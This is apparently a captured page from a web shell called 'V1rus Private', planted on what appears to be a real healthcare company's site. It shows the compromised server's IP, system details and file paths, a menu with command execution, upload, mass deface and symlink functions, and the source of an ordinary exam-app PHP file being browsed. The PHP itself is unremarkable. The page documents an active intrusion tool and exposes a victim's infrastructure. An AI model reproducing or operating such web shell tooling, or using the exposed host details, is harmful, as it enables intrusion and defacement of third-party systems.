V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
exam
/
Viewing: add_question.php
<?php include 'config.php'; if (!isset($_SESSION['admin_id'])) { header("Location: login.php"); exit(); } if ($_SERVER['REQUEST_METHOD'] == 'POST') { $category_id = $_POST['category_id']; $question_text = sanitize($_POST['question_text']); $option1 = sanitize($_POST['option1']); $option2 = sanitize($_POST['option2']); $option3 = sanitize($_POST['option3']); $option4 = sanitize($_POST['option4']); $correct_option = $_POST['correct_option']; $marks = $_POST['marks'] ?? 1; $stmt = $pdo->prepare("INSERT INTO questions (category_id, question_text, option1, option2, option3, option4, correct_option, marks) VALUES (?, ?, ?, ?, ?, ?, ?, ?)"); if ($stmt->execute([$category_id, $question_text, $option1, $option2, $option3, $option4, $correct_option, $marks])) { $_SESSION['message'] = "Question added successfully!"; } else { $_SESSION['error'] = "Failed to add question!"; } header("Location: admin_dashboard.php"); exit(); } ?><?php include 'config.php'; if (!isset($_SESSION['admin_id'])) { header("Location: login.php"); exit(); } if ($_SERVER['REQUEST_METHOD'] == 'POST') { $name = sanitize($_POST['name']); $description = sanitize($_POST['description']); $stmt = $pdo->prepare("INSERT INTO categories (name, description) VALUES (?, ?)"); if ($stmt->execute([$name, $description])) { $_SESSION['message'] = "Category added successfully!"; } else { $_SESSION['error'] = "Failed to add category!"; } header("Location: admin_dashboard.php"); exit(); } ?>
Coded With 💗 by
HanzOFC